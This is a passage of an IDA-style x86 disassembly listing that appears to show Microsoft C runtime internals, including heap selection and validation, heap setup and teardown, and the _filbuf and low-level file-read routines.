[ebp+arg_4] mov eax, [ebp+var_8] mov [edx+4], eax jmp short loc_4269C2 ; --------------------------------------------------------------------------- loc_4269AD: ; CODE XREF: sub_426880+F0j mov ecx, [ebp+arg_4] add ecx, 8 mov edx, [ebp+arg_4] mov [edx], ecx mov eax, [ebp+arg_4] mov dword ptr [eax+4], 0 loc_4269C2: ; CODE XREF: sub_426880+D8j ; sub_426880+E2j ... mov ecx, [ebp+var_C] sub ecx, [ebp+arg_C] mov edx, [ebp+var_4] mov eax, [edx] add eax, ecx mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_4269DD: ; CODE XREF: sub_426880+62j ; sub_426880+6Dj ... mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_426880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4269F0 proc near ; CODE XREF: sub_423E20+89p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov [ebp+var_8], 0 mov [ebp+var_1C], offset off_451BB8 loc_426A04: ; CODE XREF: sub_4269F0+21Ej mov eax, ds:off_453BD8 cmp eax, [ebp+var_1C] jnz short loc_426A17 mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_426A17: ; CODE XREF: sub_4269F0+1Cj mov edx, [ebp+var_1C] mov eax, [edx+10h] mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz loc_426BFF mov [ebp+var_C], 0 mov [ebp+var_28], 0 mov ecx, [ebp+var_1C] mov edx, [ecx+10h] mov [ebp+var_4], edx jmp short loc_426A58 ; --------------------------------------------------------------------------- loc_426A43: ; CODE XREF: sub_4269F0:loc_426BFAj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx loc_426A58: ; CODE XREF: sub_4269F0+51j cmp [ebp+var_C], 400h jge loc_426BFF mov edx, [ebp+var_C] mov eax, [ebp+var_1C] cmp dword ptr [eax+edx*8+18h], 0FFFFFFFFh jnz short loc_426AA0 cmp [ebp+var_28], 0 jnz short loc_426A92 mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8+18h] mov ecx, [ebp+var_1C] cmp [ecx+0Ch], eax jz short loc_426A92 or eax, 0FFFFFFFFh jmp loc_426C23 ; --------------------------------------------------------------------------- loc_426A92: ; CODE XREF: sub_4269F0+86j ; sub_4269F0+98j mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp loc_426BFA ; --------------------------------------------------------------------------- loc_426AA0: ; CODE XREF: sub_4269F0+80j mov eax, [ebp+var_4] add eax, 0F8h mov ecx, [ebp+var_4] cmp [ecx], eax jb short loc_426AB9 mov eax, 0FFFFFFFEh jmp loc_426C23 ; --------------------------------------------------------------------------- loc_426AB9: ; CODE XREF: sub_4269F0+BDj mov edx, [ebp+var_4] xor eax, eax mov al, [edx+0F8h] cmp eax, 0FFh jz short loc_426AD5 mov eax, 0FFFFFFFDh jmp loc_426C23 ; --------------------------------------------------------------------------- loc_426AD5: ; CODE XREF: sub_4269F0+D9j mov [ebp+var_10], 0 mov [ebp+var_18], 0 mov [ebp+var_24], 0 mov [ebp+var_20], 0 loc_426AF1: ; CODE XREF: sub_4269F0:loc_426BD2j cmp [ebp+var_10], 0F0h jge loc_426BD7 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] lea eax, [edx+ecx+8] mov ecx, [ebp+var_4] cmp eax, [ecx] jnz short loc_426B18 mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_426B18: ; CODE XREF: sub_4269F0+11Dj mov eax, [ebp+var_4] add eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+8] test ecx, ecx jnz short loc_426B47 mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp loc_426BD2 ; --------------------------------------------------------------------------- loc_426B47: ; CODE XREF: sub_4269F0+135j mov edx, [ebp+var_C] mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] cmp ecx, [eax+edx*8+1Ch] jl short loc_426B60 mov eax, 0FFFFFFFCh jmp loc_426C23 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_4269F0+164j cmp [ebp+var_18], 1 jnz short loc_426B84 mov edx, [ebp+var_4] mov eax, [ebp+var_20] cmp eax, [edx+4] jge short loc_426B7B mov eax, 0FFFFFFFBh jmp loc_426C23 ; --------------------------------------------------------------------------- loc_426B7B: ; CODE XREF: sub_4269F0+17Fj mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx loc_426B84: ; CODE XREF: sub_4269F0+174j mov [ebp+var_20], 0 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_14], edx jmp short loc_426B9F ; --------------------------------------------------------------------------- loc_426B96: ; CODE XREF: sub_4269F0:loc_426BCAj mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_426B9F: ; CODE XREF: sub_4269F0+1A4j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_10] add eax, edx cmp [ebp+var_14], eax jge short loc_426BCC mov ecx, [ebp+var_4] add ecx, [ebp+var_14] xor edx, edx mov dl, [ecx+8] test edx, edx jz short loc_426BCA mov eax, 0FFFFFFFAh jmp short loc_426C23 ; --------------------------------------------------------------------------- loc_426BCA: ; CODE XREF: sub_4269F0+1D1j jmp short loc_426B96 ; --------------------------------------------------------------------------- loc_426BCC: ; CODE XREF: sub_4269F0+1C2j mov eax, [ebp+var_14] mov [ebp+var_10], eax loc_426BD2: ; CODE XREF: sub_4269F0+152j jmp loc_426AF1 ; --------------------------------------------------------------------------- loc_426BD7: ; CODE XREF: sub_4269F0+108j mov ecx, [ebp+var_C] mov edx, [ebp+var_1C] mov eax, [ebp+var_24] cmp eax, [edx+ecx*8+18h] jz short loc_426BED mov eax, 0FFFFFFF9h jmp short loc_426C23 ; --------------------------------------------------------------------------- loc_426BED: ; CODE XREF: sub_4269F0+1F4j cmp [ebp+var_18], 0 jnz short loc_426BFA mov eax, 0FFFFFFF8h jmp short loc_426C23 ; --------------------------------------------------------------------------- loc_426BFA: ; CODE XREF: sub_4269F0+ABj ; sub_4269F0+201j jmp loc_426A43 ; --------------------------------------------------------------------------- loc_426BFF: ; CODE XREF: sub_4269F0+34j ; sub_4269F0+6Fj mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx cmp [ebp+var_1C], offset off_451BB8 jnz loc_426A04 cmp [ebp+var_8], 0 jnz short loc_426C21 mov eax, 0FFFFFFF7h jmp short loc_426C23 ; --------------------------------------------------------------------------- loc_426C21: ; CODE XREF: sub_4269F0+228j xor eax, eax loc_426C23: ; CODE XREF: sub_4269F0+9Dj ; sub_4269F0+C4j ... mov esp, ebp pop ebp retn sub_4269F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C30 proc near ; CODE XREF: _0:00423FF2p ; sub_426C90+1FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 push 0 call ds:off_4F5370 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jnz short loc_426C63 mov eax, [ebp+var_8] cmp dword ptr [eax+3Ch], 0 jnz short loc_426C65 loc_426C63: ; CODE XREF: sub_426C30+28j jmp short loc_426C88 ; --------------------------------------------------------------------------- loc_426C65: ; CODE XREF: sub_426C30+31j mov ecx, [ebp+var_8] mov edx, [ebp+var_8] add edx, [ecx+3Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Ah] mov [eax], dl mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Bh] mov [eax+1], dl loc_426C88: ; CODE XREF: sub_426C30:loc_426C63j mov esp, ebp pop ebp retn sub_426C30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C90 proc near ; CODE XREF: sub_426EC0:loc_426EECp var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h var_122C = byte ptr -122Ch var_1128 = byte ptr -1128h var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1238h call sub_41EF80 mov [ebp+var_1238], 0 mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax call ds:dword_4F539C ; GetVersionExA test eax, eax jz short loc_426CDE cmp [ebp+var_88], 2 jnz short loc_426CDE cmp [ebp+var_94], 5 jb short loc_426CDE mov eax, 1 jmp loc_426EB0 ; --------------------------------------------------------------------------- loc_426CDE: ; CODE XREF: sub_426C90+30j ; sub_426C90+39j ... push 1090h lea ecx, [ebp+var_1128] push ecx push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_4F54B8 ; GetEnvironmentVariableA test eax, eax jz loc_426E84 lea edx, [ebp+var_1128] mov [ebp+var_4], edx jmp short loc_426D11 ; --------------------------------------------------------------------------- loc_426D08: ; CODE XREF: sub_426C90:loc_426D3Ej mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_426D11: ; CODE XREF: sub_426C90+76j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_426D40 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_426D3E mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_426D3E mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_4] mov [eax], dl loc_426D3E: ; CODE XREF: sub_426C90+94j ; sub_426C90+9Fj jmp short loc_426D08 ; --------------------------------------------------------------------------- loc_426D40: ; CODE XREF: sub_426C90+89j push 16h lea ecx, [ebp+var_1128] push ecx push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41F5E0 add esp, 0Ch test eax, eax jnz short loc_426D68 lea edx, [ebp+var_1128] mov [ebp+var_1238], edx jmp short loc_426DDB ; --------------------------------------------------------------------------- loc_426D68: ; CODE XREF: sub_426C90+C8j push 104h lea eax, [ebp+var_122C] push eax push 0 call ds:off_4F5344 lea ecx, [ebp+var_122C] mov [ebp+var_4], ecx jmp short loc_426D90 ; --------------------------------------------------------------------------- loc_426D87: ; CODE XREF: sub_426C90:loc_426DBDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426D90: ; CODE XREF: sub_426C90+F5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_426DBF mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 61h jl short loc_426DBD mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 7Ah jg short loc_426DBD mov eax, [ebp+var_4] mov cl, [eax] add cl, 0E0h mov edx, [ebp+var_4] mov [edx], cl loc_426DBD: ; CODE XREF: sub_426C90+113j ; sub_426C90+11Ej jmp short loc_426D87 ; --------------------------------------------------------------------------- loc_426DBF: ; CODE XREF: sub_426C90+108j lea eax, [ebp+var_122C] push eax lea ecx, [ebp+var_1128] push ecx call sub_41EBB0 add esp, 8 mov [ebp+var_1238], eax loc_426DDB: ; CODE XREF: sub_426C90+D6j cmp [ebp+var_1238], 0 jz loc_426E84 push 2Ch mov edx, [ebp+var_1238] push edx call sub_41F720 add esp, 8 mov [ebp+var_1238], eax cmp [ebp+var_1238], 0 jz short loc_426E84 mov eax, [ebp+var_1238] add eax, 1 mov [ebp+var_1238], eax mov ecx, [ebp+var_1238] mov [ebp+var_4], ecx loc_426E20: ; CODE XREF: sub_426C90:loc_426E46j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_426E48 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_426E3D mov eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_426E46 ; --------------------------------------------------------------------------- loc_426E3D: ; CODE XREF: sub_426C90+1A3j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_426E46: ; CODE XREF: sub_426C90+1ABj jmp short loc_426E20 ; --------------------------------------------------------------------------- loc_426E48: ; CODE XREF: sub_426C90+198j push 0Ah push 0 mov edx, [ebp+var_1238] push edx call sub_41F0F0 add esp, 0Ch mov [ebp+var_1230], eax cmp [ebp+var_1230], 2 jz short loc_426E7C cmp [ebp+var_1230], 3 jz short loc_426E7C cmp [ebp+var_1230], 1 jnz short loc_426E84 loc_426E7C: ; CODE XREF: sub_426C90+1D8j ; sub_426C90+1E1j mov eax, [ebp+var_1230] jmp short loc_426EB0 ; --------------------------------------------------------------------------- loc_426E84: ; CODE XREF: sub_426C90+67j ; sub_426C90+152j ... lea eax, [ebp+var_1234] push eax call sub_426C30 add esp, 4 mov ecx, [ebp+var_1234] and ecx, 0FFh cmp ecx, 6 jl short loc_426EAB mov eax, 3 jmp short loc_426EB0 ; --------------------------------------------------------------------------- loc_426EAB: ; CODE XREF: sub_426C90+212j mov eax, 2 loc_426EB0: ; CODE XREF: sub_426C90+49j ; sub_426C90+1F2j ... mov esp, ebp pop ebp retn sub_426C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426EC0 proc near ; CODE XREF: _0:0042217Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call ds:dword_4F54C0 ; HeapCreate mov ds:dword_4F39E8, eax cmp ds:dword_4F39E8, 0 jnz short loc_426EEC xor eax, eax jmp short loc_426F4B ; --------------------------------------------------------------------------- loc_426EEC: ; CODE XREF: sub_426EC0+26j call sub_426C90 mov ds:dword_4F39EC, eax cmp ds:dword_4F39EC, 3 jnz short loc_426F23 push 3F8h call sub_424080 add esp, 4 test eax, eax jnz short loc_426F21 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F54BC ; HeapDestroy xor eax, eax jmp short loc_426F4B ; --------------------------------------------------------------------------- loc_426F21: ; CODE XREF: sub_426EC0+4Ej jmp short loc_426F46 ; --------------------------------------------------------------------------- loc_426F23: ; CODE XREF: sub_426EC0+3Dj cmp ds:dword_4F39EC, 2 jnz short loc_426F46 call sub_425D50 test eax, eax jnz short loc_426F46 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F54BC ; HeapDestroy xor eax, eax jmp short loc_426F4B ; --------------------------------------------------------------------------- loc_426F46: ; CODE XREF: sub_426EC0:loc_426F21j ; sub_426EC0+6Aj ... mov eax, 1 loc_426F4B: ; CODE XREF: sub_426EC0+2Aj ; sub_426EC0+5Fj ... pop ebp retn sub_426EC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch cmp ds:dword_4F39EC, 3 jnz loc_426FEA mov eax, ds:dword_4F3A08 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_426F7D ; --------------------------------------------------------------------------- loc_426F74: ; CODE XREF: _0:00426FD1j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_426F7D: ; CODE XREF: _0:00426F72j mov edx, [ebp-4] cmp edx, ds:dword_4F3A04 jge short loc_426FD3 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call ds:dword_4F54B0 ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call ds:dword_4F54B0 ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5414 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_426F74 ; --------------------------------------------------------------------------- loc_426FD3: ; CODE XREF: _0:00426F86j mov edx, ds:dword_4F3A08 push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5414 ; RtlFreeHeap jmp short loc_427028 ; --------------------------------------------------------------------------- loc_426FEA: ; CODE XREF: _0:00426F5Dj cmp ds:dword_4F39EC, 2 jnz short loc_427028 mov dword ptr [ebp-0Ch], offset off_451BB8 loc_426FFA: ; CODE XREF: _0:00427026j mov ecx, [ebp-0Ch] cmp dword ptr [ecx+10h], 0 jz short loc_427017 push 8000h push 0 mov edx, [ebp-0Ch] mov eax, [edx+10h] push eax call ds:dword_4F54B0 ; VirtualFree loc_427017: ; CODE XREF: _0:00427001j mov ecx, [ebp-0Ch] mov edx, [ecx] mov [ebp-0Ch], edx cmp dword ptr [ebp-0Ch], offset off_451BB8 jnz short loc_426FFA loc_427028: ; CODE XREF: _0:00426FE8j _0:00426FF1j mov eax, ds:dword_4F39E8 push eax call ds:dword_4F54BC ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427040 proc near ; CODE XREF: sub_41DF10+66p ; sub_41E610+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_42706A mov ecx, [ebp+arg_0] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_4270F3 ; --------------------------------------------------------------------------- loc_42706A: ; CODE XREF: sub_427040+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_4270B3 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_4270C4 ; --------------------------------------------------------------------------- loc_4270B3: ; CODE XREF: sub_427040+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_4270C4: ; CODE XREF: sub_427040+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_431210 add esp, 1Ch test eax, eax jnz short loc_4270E8 xor eax, eax jmp short loc_4270F3 ; --------------------------------------------------------------------------- loc_4270E8: ; CODE XREF: sub_427040+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_4270F3: ; CODE XREF: sub_427040+25j ; sub_427040+A6j mov esp, ebp pop ebp retn sub_427040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427100 proc near ; CODE XREF: sub_41E1C0+182p ; sub_41EFB0+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_427109: ; CODE XREF: sub_427100+31j cmp [ebp+arg_0], 0 jnz short loc_42712D push offset dword_43C514 push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42712D int 3 ; Trap to Debugger loc_42712D: ; CODE XREF: sub_427100+Dj ; sub_427100+2Aj xor eax, eax test eax, eax jnz short loc_427109 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_427155 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_42715D loc_427155: ; CODE XREF: sub_427100+46j or eax, 0FFFFFFFFh jmp loc_4272DD ; --------------------------------------------------------------------------- loc_42715D: ; CODE XREF: sub_427100+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_427180 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_4272DD ; --------------------------------------------------------------------------- loc_427180: ; CODE XREF: sub_427100+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_4271AB mov ecx, [ebp+var_4] push ecx call sub_4313D0 add esp, 4 jmp short loc_4271B6 ; --------------------------------------------------------------------------- loc_4271AB: ; CODE XREF: sub_427100+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_4271B6: ; CODE XREF: sub_427100+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_4272F0 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_4271EB mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_42721B loc_4271EB: ; CODE XREF: sub_427100+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_4272DD ; --------------------------------------------------------------------------- loc_42721B: ; CODE XREF: sub_427100+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_427281 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_427256 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_42725D ; --------------------------------------------------------------------------- loc_427256: ; CODE XREF: sub_427100+131j mov [ebp+var_8], offset dword_454390 loc_42725D: ; CODE XREF: sub_427100+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_427281 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_427281: ; CODE XREF: sub_427100+128j ; sub_427100+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_4272B4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_4272B4 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_4272B4 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_4272B4: ; CODE XREF: sub_427100+18Bj ; sub_427100+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_4272DD: ; CODE XREF: sub_427100+58j ; sub_427100+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4272F0 proc near ; CODE XREF: sub_41E1C0+118p ; sub_427100+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_427321 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42733C loc_427321: ; CODE XREF: sub_4272F0+Dj call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42736E ; --------------------------------------------------------------------------- loc_42733C: ; CODE XREF: sub_4272F0+2Fj mov edx, [ebp+arg_0] push edx call sub_431070 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_427380 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_431100 add esp, 4 mov eax, [ebp+var_4] loc_42736E: ; CODE XREF: sub_4272F0+4Aj mov esp, ebp pop ebp retn sub_4272F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427380 proc near ; CODE XREF: sub_4272F0+64p ; sub_4314E0+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_4273BB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_4273C2 loc_4273BB: ; CODE XREF: sub_427380+17j xor eax, eax jmp loc_4277C1 ; --------------------------------------------------------------------------- loc_4273C2: ; CODE XREF: sub_427380+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_427459 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_427459 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_427459: ; CODE XREF: sub_427380+62j ; sub_427380+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov eax, [edx+ecx] push eax call ds:off_4F53BC test eax, eax jnz short loc_4274D8 call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_4274B7 call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_4277C1 ; --------------------------------------------------------------------------- loc_4274B7: ; CODE XREF: sub_427380+118j cmp [ebp+var_8], 6Dh jnz short loc_4274C4 xor eax, eax jmp loc_4277C1 ; --------------------------------------------------------------------------- loc_4274C4: ; CODE XREF: sub_427380+13Bj mov edx, [ebp+var_8] push edx call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4277C1 ; --------------------------------------------------------------------------- loc_4274D8: ; CODE XREF: sub_427380+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_4277BE cmp [ebp+var_10], 0 jz short loc_427554 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_427554 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] mov cl, 